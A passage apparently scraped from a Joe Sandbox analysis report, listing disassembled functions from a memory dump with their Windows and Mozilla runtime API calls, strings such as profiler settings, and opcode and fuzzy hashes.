Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE
<jemalloc>, xrefs: 6C510D92, 6C510DB9

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5318C7
Details, xrefs: 6C531925
name, xrefs: 6C531939

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

., xrefs: 6C52476A
-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

., xrefs: 6C52476A
-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

